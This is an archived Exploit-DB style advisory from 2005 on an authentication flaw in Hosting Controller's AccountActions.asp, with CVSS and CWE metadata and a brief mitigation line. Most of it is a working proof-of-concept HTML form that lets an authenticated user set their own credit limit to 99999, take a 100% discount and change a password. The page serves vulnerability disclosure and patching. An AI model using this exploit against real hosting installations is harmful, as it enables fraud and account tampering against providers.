Hosting controller program have a security bug in AccountActions.asp

vendor:

Hosting Controller

by:

Soroush Dalili

8.8

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Hosting Controller

Affected Version From: 6.1 HotFix 2.1

Affected Version To: Older

Patch Exists: YES

Related CWE: N/A

CPE: a:hostingcontroller:hosting_controller

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

Hosting controller program have a security bug in AccountActions.asp

Hosting Controller is an application to manage a host. An authenticated user can change his/her credit and buy some services by exploiting the AccountActions.asp vulnerability. The exploit code to proof is provided in the text.

Mitigation:

Ensure that authentication is properly implemented and enforced.

Source

Exploit-DB raw data:

Hi, I'm Soroush Dalili from GSG (GrayHatz Security Group).
Title: Hosting controller program have a security bug in "AccountActions.asp" that an authenticated 
user can change his/her credit and buy some services!

Version: 6.1 HotFix 2.1 and older
Developer url: hostingcontroller.com
Comment: Hosting Controller is an application to manage a host.
Exploit code to proof:
--------------------------------
GET CREDIT<br>Soroush Dalili from GSG<br>
<form action="http://[URL]/Admin/Accounts/AccountActions.asp?ActionType=UpdateCreditLimit" method="post">
<table>
<tr>
<td>Username:</td>
<td><input type="text" name="UserName" value=""></td>
</tr>
<tr>
<td>Description:</td>
<td><input type="text" name="Description" value=""></td>
</tr>
<tr>
<td>FullName:</td>
<td><input type="text" name="FullName" value=""></td>
</tr>
<tr>
<td>AccountDisabled 1,[blank]:</td>
<td><input type="text" name="AccountDisabled" value=""></td>
</tr>
<tr>
<td>UserChangePassword:</td>
<td><input type="text" name="UserChangePassword" value=""></td>
</tr>
<tr>
<td>PassCheck=TRUE,0:</td>
<td><input type="text" name="PassCheck" value="0"></td>
</tr>
<tr>
<td>New Password:</td>
<td><input type="text" name="Pass1" value=""></td>
</tr>
<tr>
<td>DefaultDiscount%:</td>
<td><input type="text" name="DefaultDiscount" value="100"></td>
</tr>
<tr>
<td>CreditLimit:</td>
<td><input type="text" name="CreditLimit" value="99999"></td>
</tr>
</table>
<br><input type="submit">
</form>
<hr><br>

# milw0rm.com [2005-07-10]